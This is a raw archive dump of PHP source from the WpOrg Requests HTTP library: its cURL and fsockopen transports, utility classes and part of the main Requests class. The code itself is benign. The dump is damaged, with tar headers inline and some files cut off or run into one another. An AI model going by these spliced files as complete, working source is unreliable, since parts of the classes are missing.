. $url_parts['port']; } $out .= "\r\n"; } if (!isset($case_insensitive_headers['User-Agent'])) { $out .= sprintf("User-Agent: %s\r\n", $options['useragent']); } $accept_encoding = $this->accept_encoding(); if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) { $out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding); } $headers = Requests::flatten($headers); if (!empty($headers)) { $out .= implode("\r\n", $headers) . "\r\n"; } $options['hooks']->dispatch('fsockopen.after_headers', [&$out]); if (substr($out, -2) !== "\r\n") { $out .= "\r\n"; } if (!isset($case_insensitive_headers['Connection'])) { $out .= "Connection: Close\r\n"; } $out .= "\r\n" . $request_body; $options['hooks']->dispatch('fsockopen.before_send', [&$out]); fwrite($socket, $out); $options['hooks']->dispatch('fsockopen.after_send', [$out]); if (!$options['blocking']) { fclose($socket); $fake_headers = ''; $options['hooks']->dispatch('fsockopen.after_request', [&$fake_headers]); return ''; } $timeout_sec = (int) floor($options['timeout']); if ($timeout_sec === $options['timeout']) { $timeout_msec = 0; } else { $timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % self::SECOND_IN_MICROSECONDS; } stream_set_timeout($socket, $timeout_sec, $timeout_msec); $response = ''; $body = ''; $headers = ''; $this->info = stream_get_meta_data($socket); $size = 0; $doingbody = false; $download = false; if ($options['filename']) { // phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception. $download = @fopen($options['filename'], 'wb'); if ($download === false) { $error = error_get_last(); throw new Exception($error['message'], 'fopen'); } } while (!feof($socket)) { $this->info = stream_get_meta_data($socket); if ($this->info['timed_out']) { throw new Exception('fsocket timed out', 'timeout'); } $block = fread($socket, Requests::BUFFER_SIZE); if (!$doingbody) { $response .= $block; if (strpos($response, "\r\n\r\n")) { list($headers, $block) = explode("\r\n\r\n", $response, 2); $doingbody = true; } } // Are we in body mode now? if ($doingbody) { $options['hooks']->dispatch('request.progress', [$block, $size, $this->max_bytes]); $data_length = strlen($block); if ($this->max_bytes) { // Have we already hit a limit? if ($size === $this->max_bytes) { continue; } if (($size + $data_length) > $this->max_bytes) { // Limit the length $limited_length = ($this->max_bytes - $size); $block = substr($block, 0, $limited_length); } } $size += strlen($block); if ($download) { fwrite($download, $block); } else { $body .= $block; } } } $this->headers = $headers; if ($download) { fclose($download); } else { $this->headers .= "\r\n\r\n" . $body; } fclose($socket); $options['hooks']->dispatch('fsockopen.after_request', [&$this->headers, &$this->info]); return $this->headers; } /** * Send multiple requests simultaneously * * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()} * @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function request_multiple($requests, $options) { // If you're not requesting, we can't get any responses ¯\_(ツ)_/¯ if (empty($requests)) { return []; } if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } $responses = []; $class = get_class($this); foreach ($requests as $id => $request) { try { $handler = new $class(); $responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']); $request['options']['hooks']->dispatch('transport.internal.parse_response', [&$responses[$id], $request]); } catch (Exception $e) { $responses[$id] = $e; } if (!is_string($responses[$id])) { $request['options']['hooks']->dispatch('multiple.request.complete', [&$responses[$id], $id]); } } return $responses; } /** * Retrieve the encodings we can accept * * @return string Accept-Encoding header value */ private static function accept_encoding() { $type = []; if (function_exists('gzinflate')) { $type[] = 'deflate;q=1.0'; } if (function_exists('gzuncompress')) { $type[] = 'compress;q=0.5'; } $type[] = 'gzip;q=0.5'; return implode(', ', $type); } /** * Format a URL given GET data * * @param array $url_parts Array of URL parts as received from {@link https://www.php.net/parse_url} * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query} * @return string URL with data */ private static function format_get($url_parts, $data) { if (!empty($data)) { if (empty($url_parts['query'])) { $url_parts['query'] = ''; } $url_parts['query'] .= '&' . http_build_query($data, '', '&'); $url_parts['query'] = trim($url_parts['query'], '&'); } if (isset($url_parts['path'])) { if (isset($url_parts['query'])) { $get = $url_parts['path'] . '?' . $url_parts['query']; } else { $get = $url_parts['path']; } } else { $get = '/'; } return $get; } /** * Error handler for stream_socket_client() * * @param int $errno Error number (e.g. E_WARNING) * @param string $errstr Error message */ public function connect_error_handler($errno, $errstr) { // Double-check we can handle it if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) { // Return false to indicate the default error handler should engage return false; } $this->connect_error .= $errstr . "\n"; return true; } /** * Verify the certificate against common name and subject alternative names * * Unfortunately, PHP doesn't check the certificate against the alternative * names, leading things like 'https://www.github.com/' to be invalid. * Instead * * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1 * * @param string $host Host name to verify against * @param resource $context Stream context * @return bool * * @throws \WpOrg\Requests\Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`) * @throws \WpOrg\Requests\Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`) */ public function verify_certificate_from_context($host, $context) { $meta = stream_context_get_options($context); // If we don't have SSL options, then we couldn't make the connection at // all if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) { throw new Exception(rtrim($this->connect_error), 'ssl.connect_error'); } $cert = openssl_x509_parse($meta['ssl']['peer_certificate']); return Ssl::verify_certificate($host, $cert); } /** * Self-test whether the transport can be used. * * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}. * * @codeCoverageIgnore * @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`. * @return bool Whether the transport can be used. */ public static function test($capabilities = []) { if (!function_exists('fsockopen')) { return false; } // If needed, check that streams support SSL if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) { if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) { return false; } } return true; } } Requests/src/Transport/Curl.php000064400000046163151202620270012567 0ustar00= 8.0. */ private $handle; /** * Hook dispatcher instance * * @var \WpOrg\Requests\Hooks */ private $hooks; /** * Have we finished the headers yet? * * @var boolean */ private $done_headers = false; /** * If streaming to a file, keep the file pointer * * @var resource */ private $stream_handle; /** * How many bytes are in the response body? * * @var int */ private $response_bytes; /** * What's the maximum number of bytes we should keep? * * @var int|bool Byte count, or false if no limit. */ private $response_byte_limit; /** * Constructor */ public function __construct() { $curl = curl_version(); $this->version = $curl['version_number']; $this->handle = curl_init(); curl_setopt($this->handle, CURLOPT_HEADER, false); curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1); if ($this->version >= self::CURL_7_10_5) { curl_setopt($this->handle, CURLOPT_ENCODING, ''); } if (defined('CURLOPT_PROTOCOLS')) { // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_protocolsFound curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); } if (defined('CURLOPT_REDIR_PROTOCOLS')) { // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_redir_protocolsFound curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); } } /** * Destructor */ public function __destruct() { if (is_resource($this->handle)) { curl_close($this->handle); } } /** * Perform a request * * @param string|Stringable $url URL to request * @param array $headers Associative array of request headers * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation * @return string Raw HTTP result * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. * @throws \WpOrg\Requests\Exception On a cURL error (`curlerror`) */ public function request($url, $headers = [], $data = [], $options = []) { if (InputValidator::is_string_or_stringable($url) === false) { throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url)); } if (is_array($headers) === false) { throw InvalidArgument::create(2, '$headers', 'array', gettype($headers)); } if (!is_array($data) && !is_string($data)) { if ($data === null) { $data = ''; } else { throw InvalidArgument::create(3, '$data', 'array|string', gettype($data)); } } if (is_array($options) === false) { throw InvalidArgument::create(4, '$options', 'array', gettype($options)); } $this->hooks = $options['hooks']; $this->setup_handle($url, $headers, $data, $options); $options['hooks']->dispatch('curl.before_send', [&$this->handle]); if ($options['filename'] !== false) { // phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception. $this->stream_handle = @fopen($options['filename'], 'wb'); if ($this->stream_handle === false) { $error = error_get_last(); throw new Exception($error['message'], 'fopen'); } } $this->response_data = ''; $this->response_bytes = 0; $this->response_byte_limit = false; if ($options['max_bytes'] !== false) { $this->response_byte_limit = $options['max_bytes']; } if (isset($options['verify'])) { if ($options['verify'] === false) { curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0); } elseif (is_string($options['verify'])) { curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']); } } if (isset($options['verifyname']) && $options['verifyname'] === false) { curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0); } curl_exec($this->handle); $response = $this->response_data; $options['hooks']->dispatch('curl.after_send', []); if (curl_errno($this->handle) === CURLE_WRITE_ERROR || curl_errno($this->handle) === CURLE_BAD_CONTENT_ENCODING) { // Reset encoding and try again curl_setopt($this->handle, CURLOPT_ENCODING, 'none'); $this->response_data = ''; $this->response_bytes = 0; curl_exec($this->handle); $response = $this->response_data; } $this->process_response($response, $options); // Need to remove the $this reference from the curl handle. // Otherwise \WpOrg\Requests\Transport\Curl won't be garbage collected and the curl_close() will never be called. curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null); curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null); return $this->headers; } /** * Send multiple requests simultaneously * * @param array $requests Request data * @param array $options Global options * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function request_multiple($requests, $options) { // If you're not requesting, we can't get any responses ¯\_(ツ)_/¯ if (empty($requests)) { return []; } if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } $multihandle = curl_multi_init(); $subrequests = []; $subhandles = []; $class = get_class($this); foreach ($requests as $id => $request) { $subrequests[$id] = new $class(); $subhandles[$id] = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']); $request['options']['hooks']->dispatch('curl.before_multi_add', [&$subhandles[$id]]); curl_multi_add_handle($multihandle, $subhandles[$id]); } $completed = 0; $responses = []; $subrequestcount = count($subrequests); $request['options']['hooks']->dispatch('curl.before_multi_exec', [&$multihandle]); do { $active = 0; do { $status = curl_multi_exec($multihandle, $active); } while ($status === CURLM_CALL_MULTI_PERFORM); $to_process = []; // Read the information as needed while ($done = curl_multi_info_read($multihandle)) { $key = array_search($done['handle'], $subhandles, true); if (!isset($to_process[$key])) { $to_process[$key] = $done; } } // Parse the finished requests before we start getting the new ones foreach ($to_process as $key => $done) { $options = $requests[$key]['options']; if ($done['result'] !== CURLE_OK) { //get error string for handle. $reason = curl_error($done['handle']); $exception = new CurlException( $reason, CurlException::EASY, $done['handle'], $done['result'] ); $responses[$key] = $exception; $options['hooks']->dispatch('transport.internal.parse_error', [&$responses[$key], $requests[$key]]); } else { $responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options); $options['hooks']->dispatch('transport.internal.parse_response', [&$responses[$key], $requests[$key]]); } curl_multi_remove_handle($multihandle, $done['handle']); curl_close($done['handle']); if (!is_string($responses[$key])) { $options['hooks']->dispatch('multiple.request.complete', [&$responses[$key], $key]); } $completed++; } } while ($active || $completed < $subrequestcount); $request['options']['hooks']->dispatch('curl.after_multi_exec', [&$multihandle]); curl_multi_close($multihandle); return $responses; } /** * Get the cURL handle for use in a multi-request * * @param string $url URL to request * @param array $headers Associative array of request headers * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation * @return resource|\CurlHandle Subrequest's cURL handle */ public function &get_subrequest_handle($url, $headers, $data, $options) { $this->setup_handle($url, $headers, $data, $options); if ($options['filename'] !== false) { $this->stream_handle = fopen($options['filename'], 'wb'); } $this->response_data = ''; $this->response_bytes = 0; $this->response_byte_limit = false; if ($options['max_bytes'] !== false) { $this->response_byte_limit = $options['max_bytes']; } $this->hooks = $options['hooks']; return $this->handle; } /** * Setup the cURL handle for the given data * * @param string $url URL to request * @param array $headers Associative array of request headers * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation */ private function setup_handle($url, $headers, $data, $options) { $options['hooks']->dispatch('curl.before_request', [&$this->handle]); // Force closing the connection for old versions of cURL (<7.22). if (!isset($headers['Connection'])) { $headers['Connection'] = 'close'; } /** * Add "Expect" header. * * By default, cURL adds a "Expect: 100-Continue" to most requests. This header can * add as much as a second to the time it takes for cURL to perform a request. To * prevent this, we need to set an empty "Expect" header. To match the behaviour of * Guzzle, we'll add the empty header to requests that are smaller than 1 MB and use * HTTP/1.1. * * https://curl.se/mail/lib-2017-07/0013.html */ if (!isset($headers['Expect']) && $options['protocol_version'] === 1.1) { $headers['Expect'] = $this->get_expect_header($data); } $headers = Requests::flatten($headers); if (!empty($data)) { $data_format = $options['data_format']; if ($data_format === 'query') { $url = self::format_get($url, $data); $data = ''; } elseif (!is_string($data)) { $data = http_build_query($data, '', '&'); } } switch ($options['type']) { case Requests::POST: curl_setopt($this->handle, CURLOPT_POST, true); curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data); break; case Requests::HEAD: curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']); curl_setopt($this->handle, CURLOPT_NOBODY, true); break; case Requests::TRACE: curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']); break; case Requests::PATCH: case Requests::PUT: case Requests::DELETE: case Requests::OPTIONS: default: curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']); if (!empty($data)) { curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data); } } // cURL requires a minimum timeout of 1 second when using the system // DNS resolver, as it uses `alarm()`, which is second resolution only. // There's no way to detect which DNS resolver is being used from our // end, so we need to round up regardless of the supplied timeout. // // https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609 $timeout = max($options['timeout'], 1); if (is_int($timeout) || $this->version < self::CURL_7_16_2) { curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout)); } else { // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_timeout_msFound curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000)); } if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) { curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout'])); } else { // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_connecttimeout_msFound curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000)); } curl_setopt($this->handle, CURLOPT_URL, $url); curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']); if (!empty($headers)) { curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers); } if ($options['protocol_version'] === 1.1) { curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); } else { curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0); } if ($options['blocking'] === true) { curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, [$this, 'stream_headers']); curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, [$this, 'stream_body']); curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE); } } /** * Process a response * * @param string $response Response data from the body * @param array $options Request options * @return string|false HTTP response data including headers. False if non-blocking. * @throws \WpOrg\Requests\Exception If the request resulted in a cURL error. */ public function process_response($response, $options) { if ($options['blocking'] === false) { $fake_headers = ''; $options['hooks']->dispatch('curl.after_request', [&$fake_headers]); return false; } if ($options['filename'] !== false && $this->stream_handle) { fclose($this->stream_handle); $this->headers = trim($this->headers); } else { $this->headers .= $response; } if (curl_errno($this->handle)) { $error = sprintf( 'cURL error %s: %s', curl_errno($this->handle), curl_error($this->handle) ); throw new Exception($error, 'curlerror', $this->handle); } $this->info = curl_getinfo($this->handle); $options['hooks']->dispatch('curl.after_request', [&$this->headers, &$this->info]); return $this->headers; } /** * Collect the headers as they are received * * @param resource|\CurlHandle $handle cURL handle * @param string $headers Header string * @return integer Length of provided header */ public function stream_headers($handle, $headers) { // Why do we do this? cURL will send both the final response and any // interim responses, such as a 100 Continue. We don't need that. // (We may want to keep this somewhere just in case) if ($this->done_headers) { $this->headers = ''; $this->done_headers = false; } $this->headers .= $headers; if ($headers === "\r\n") { $this->done_headers = true; } return strlen($headers); } /** * Collect data as it's received * * @since 1.6.1 * * @param resource|\CurlHandle $handle cURL handle * @param string $data Body data * @return integer Length of provided data */ public function stream_body($handle, $data) { $this->hooks->dispatch('request.progress', [$data, $this->response_bytes, $this->response_byte_limit]); $data_length = strlen($data); // Are we limiting the response size? if ($this->response_byte_limit) { if ($this->response_bytes === $this->response_byte_limit) { // Already at maximum, move on return $data_length; } if (($this->response_bytes + $data_length) > $this->response_byte_limit) { // Limit the length $limited_length = ($this->response_byte_limit - $this->response_bytes); $data = substr($data, 0, $limited_length); } } if ($this->stream_handle) { fwrite($this->stream_handle, $data); } else { $this->response_data .= $data; } $this->response_bytes += strlen($data); return $data_length; } /** * Format a URL given GET data * * @param string $url Original URL. * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query} * @return string URL with data */ private static function format_get($url, $data) { if (!empty($data)) { $query = ''; $url_parts = parse_url($url); if (empty($url_parts['query'])) { $url_parts['query'] = ''; } else { $query = $url_parts['query']; } $query .= '&' . http_build_query($data, '', '&'); $query = trim($query, '&'); if (empty($url_parts['query'])) { $url .= '?' . $query; } else { $url = str_replace($url_parts['query'], $query, $url); } } return $url; } /** * Self-test whether the transport can be used. * * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}. * * @codeCoverageIgnore * @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`. * @return bool Whether the transport can be used. */ public static function test($capabilities = []) { if (!function_exists('curl_init') || !function_exists('curl_exec')) { return false; } // If needed, check that our installed curl version supports SSL if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) { $curl_version = curl_version(); if (!(CURL_VERSION_SSL & $curl_version['features'])) { return false; } } return true; } /** * Get the correct "Expect" header for the given request data. * * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD. * @return string The "Expect" header. */ private function get_expect_header($data) { if (!is_array($data)) { return strlen((string) $data) >= 1048576 ? '100-Continue' : ''; } $bytesize = 0; $iterator = new RecursiveIteratorIterator(new RecursiveArrayIterator($data)); foreach ($iterator as $datum) { $bytesize += strlen((string) $datum); if ($bytesize >= 1048576) { return '100-Continue'; } } return ''; } } Requests/src/Utility/InputValidator.php000064400000004720151202620270014267 0ustar00 $value) { $this->offsetSet($offset, $value); } } /** * Check if the given item exists * * @param string $offset Item key * @return boolean Does the item exist? */ #[ReturnTypeWillChange] public function offsetExists($offset) { if (is_string($offset)) { $offset = strtolower($offset); } return isset($this->data[$offset]); } /** * Get the value for the item * * @param string $offset Item key * @return string|null Item value (null if the item key doesn't exist) */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (is_string($offset)) { $offset = strtolower($offset); } if (!isset($this->data[$offset])) { return null; } return $this->data[$offset]; } /** * Set the given item * * @param string $offset Item name * @param string $value Item value * * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`) */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if ($offset === null) { throw new Exception('Object is a dictionary, not a list', 'invalidset'); } if (is_string($offset)) { $offset = strtolower($offset); } $this->data[$offset] = $value; } /** * Unset the given header * * @param string $offset The key for the item to unset. */ #[ReturnTypeWillChange] public function offsetUnset($offset) { if (is_string($offset)) { $offset = strtolower($offset); } unset($this->data[$offset]); } /** * Get an iterator for the data * * @return \ArrayIterator */ #[ReturnTypeWillChange] public function getIterator() { return new ArrayIterator($this->data); } /** * Get the headers as an array * * @return array Header data */ public function getAll() { return $this->data; } } Requests/src/Utility/FilteredIterator.php000064400000004155151202620270014574 0ustar00callback = $callback; } } /** * Prevent unserialization of the object for security reasons. * * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound * * @param array $data Restored array of data originally serialized. * * @return void */ #[ReturnTypeWillChange] public function __unserialize($data) {} // phpcs:enable /** * Perform reinitialization tasks. * * Prevents a callback from being injected during unserialization of an object. * * @return void */ public function __wakeup() { unset($this->callback); } /** * Get the current item's value after filtering * * @return string */ #[ReturnTypeWillChange] public function current() { $value = parent::current(); if (is_callable($this->callback)) { $value = call_user_func($this->callback, $value); } return $value; } /** * Prevent creating a PHP value from a stored representation of the object for security reasons. * * @param string $data The serialized string. * * @return void */ #[ReturnTypeWillChange] public function unserialize($data) {} } Requests/src/Requests.php000064400000102320151202620270011465 0ustar00 10, 'connect_timeout' => 10, 'useragent' => 'php-requests/' . self::VERSION, 'protocol_version' => 1.1, 'redirected' => 0, 'redirects' => 10, 'follow_redirects' => true, 'blocking' => true, 'type' => self::GET, 'filename' => false, 'auth' => false, 'proxy' => false, 'cookies' => false, 'max_bytes' => false, 'idn' => true, 'hooks' => null, 'transport' => null, 'verify' => null, 'verifyname' => true, ]; /** * Default supported Transport classes. * * @since 2.0.0 * * @var array */ const DEFAULT_TRANSPORTS = [ Curl::class => Curl::class, Fsockopen::class => Fsockopen::class, ]; /** * Current version of Requests * * @var string */ const VERSION = '2.0.9'; /** * Selected transport name * * Use {@see \WpOrg\Requests\Requests::get_transport()} instead * * @var array */ public static $transport = []; /** * Registered transport classes * * @var array */ protected static $transports = []; /** * Default certificate path. * * @see \WpOrg\Requests\Requests::get_certificate_path() * @see \WpOrg\Requests\Requests::set_certificate_path() * * @var string */ protected static $certificate_path = __DIR__ . '/../certificates/cacert.pem'; /** * All (known) valid deflate, gzip header magic markers. * * These markers relate to different compression levels. * * @link https://stackoverflow.com/a/43170354/482864 Marker source. * * @since 2.0.0 * * @var array */ private static $magic_compression_headers = [ "\x1f\x8b" => true, // Gzip marker. "\x78\x01" => true, // Zlib marker - level 1. "\x78\x5e" => true, // Zlib marker - level 2 to 5. "\x78\x9c" => true, // Zlib marker - level 6. "\x78\xda" => true, // Zlib marker - level 7 to 9. ]; /** * This is a static class, do not instantiate it * * @codeCoverageIgnore */ private function __construct() {} /** * Register a transport * * @param string $transport Transport class to add, must support the \WpOrg\Requests\Transport interface */ public static function add_transport($transport) { if (empty(self::$transports)) { self::$transports = self::DEFAULT_TRANSPORTS; } self::$transports[$transport] = $transport; } /** * Get the fully qualified class name (FQCN) for a working transport. * * @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`. * @return string FQCN of the transport to use, or an empty string if no transport was * found which provided the requested capabilities. */ protected static function get_transport_class(array $capabilities = []) { // Caching code, don't bother testing coverage. // @codeCoverageIgnoreStart // Array of capabilities as a string to be used as an array key. ksort($capabilities); $cap_string = serialize($capabilities); // Don't search for a transport if it's already been done for these $capabilities. if (isset(self::$transport[$cap_string])) { return self::$transport[$cap_string]; } // Ensure we will not run this same check again later on. self::$transport[$cap_string] = ''; // @codeCoverageIgnoreEnd if (empty(self::$transports)) { self::$transports = self::DEFAULT_TRANSPORTS; } // Find us a working transport. foreach (self::$transports as $class) { if (!class_exists($class)) { continue; } $result = $class::test($capabilities); if ($result === true) { self::$transport[$cap_string] = $class; break; } } return self::$transport[$cap_string]; } /** * Get a working transport. * * @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`. * @return \WpOrg\Requests\Transport * @throws \WpOrg\Requests\Exception If no valid transport is found (`notransport`). */ protected static function get_transport(array $capabilities = []) { $class = self::get_transport_class($capabilities); if ($class === '') { throw new Exception('No working transports found', 'notransport', self::$transports); } return new $class(); } /** * Checks to see if we have a transport for the capabilities requested. * * Supported capabilities can be found in the {@see \WpOrg\Requests\Capability} * interface as constants. * * Example usage: * `Requests::has_capabilities([Capability::SSL => true])`. * * @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`. * @return bool Whether the transport has the requested capabilities. */ public static function has_capabilities(array $capabilities = []) { return self::get_transport_class($capabilities) !== ''; } /**#@+ * @see \WpOrg\Requests\Requests::request() * @param string $url * @param array $headers * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a GET request */ public static function get($url, $headers = [], $options = []) { return self::request($url, $headers, null, self::GET, $options); } /** * Send a HEAD request */ public static function head($url, $headers = [], $options = []) { return self::request($url, $headers, null, self::HEAD, $options); } /** * Send a DELETE request */ public static function delete($url, $headers = [], $options = []) { return self::request($url, $headers, null, self::DELETE, $options); } /** * Send a TRACE request */ public static function trace($url, $headers = [], $options = []) { return self::request($url, $headers, null, self::TRACE, $options); } /**#@-*/ /**#@+ * @see \WpOrg\Requests\Requests::request() * @param string $url * @param array $headers * @param array $data * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a POST request */ public static function post($url, $headers = [], $data = [], $options = []) { return self::request($url, $headers, $data, self::POST, $options); } /** * Send a PUT request */ public static function put($url, $headers = [], $data = [], $options = []) { return self::request($url, $headers, $data, self::PUT, $options); } /** * Send an OPTIONS request */ public static function options($url, $headers = [], $data = [], $options = []) { return self::request($url, $headers, $data, self::OPTIONS, $options); } /** * Send a PATCH request * * Note: Unlike {@see \WpOrg\Requests\Requests::post()} and {@see \WpOrg\Requests\Requests::put()}, * `$headers` is required, as the specification recommends that should send an ETag * * @link https://tools.ietf.org/html/rfc5789 */ public static function patch($url, $headers, $data = [], $options = []) { return self::request($url, $headers, $data, self::PATCH, $options); } /**#@-*/ /** * Main interface for HTTP requests * * This method initiates a request and sends it via a transport before * parsing. * * The `$options` parameter takes an associative array with the following * options: * * - `timeout`: How long should we wait for a response? * Note: for cURL, a minimum of 1 second applies, as DNS resolution * operates at second-resolution only. * (float, seconds with a millisecond precision, default: 10, example: 0.01) * - `connect_timeout`: How long should we wait while trying to connect? * (float, seconds with a millisecond precision, default: 10, example: 0.01) * - `useragent`: Useragent to send to the server * (string, default: php-requests/$version) * - `follow_redirects`: Should we follow 3xx redirects? * (boolean, default: true) * - `redirects`: How many times should we redirect before erroring? * (integer, default: 10) * - `blocking`: Should we block processing on this request? * (boolean, default: true) * - `filename`: File to stream the body to instead. * (string|boolean, default: false) * - `auth`: Authentication handler or array of user/password details to use * for Basic authentication * (\WpOrg\Requests\Auth|array|boolean, default: false) * - `proxy`: Proxy details to use for proxy by-passing and authentication * (\WpOrg\Requests\Proxy|array|string|boolean, default: false) * - `max_bytes`: Limit for the response body size. * (integer|boolean, default: false) * - `idn`: Enable IDN parsing * (boolean, default: true) * - `transport`: Custom transport. Either a class name, or a * transport object. Defaults to the first working transport from * {@see \WpOrg\Requests\Requests::getTransport()} * (string|\WpOrg\Requests\Transport, default: {@see \WpOrg\Requests\Requests::getTransport()}) * - `hooks`: Hooks handler. * (\WpOrg\Requests\HookManager, default: new WpOrg\Requests\Hooks()) * - `verify`: Should we verify SSL certificates? Allows passing in a custom * certificate file as a string. (Using true uses the system-wide root * certificate store instead, but this may have different behaviour * across transports.) * (string|boolean, default: certificates/cacert.pem) * - `verifyname`: Should we verify the common name in the SSL certificate? * (boolean, default: true) * - `data_format`: How should we send the `$data` parameter? * (string, one of 'query' or 'body', default: 'query' for * HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH) * * @param string|Stringable $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type (use Requests constants) * @param array $options Options for the request (see description for more information) * @return \WpOrg\Requests\Response * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $type argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`) */ public static function request($url, $headers = [], $data = [], $type = self::GET, $options = []) { if (InputValidator::is_string_or_stringable($url) === false) { throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url)); } if (is_string($type) === false) { throw InvalidArgument::create(4, '$type', 'string', gettype($type)); } if (is_array($options) === false) { throw InvalidArgument::create(5, '$options', 'array', gettype($options)); } if (empty($options['type'])) { $options['type'] = $type; } $options = array_merge(self::get_default_options(), $options); self::set_defaults($url, $headers, $data, 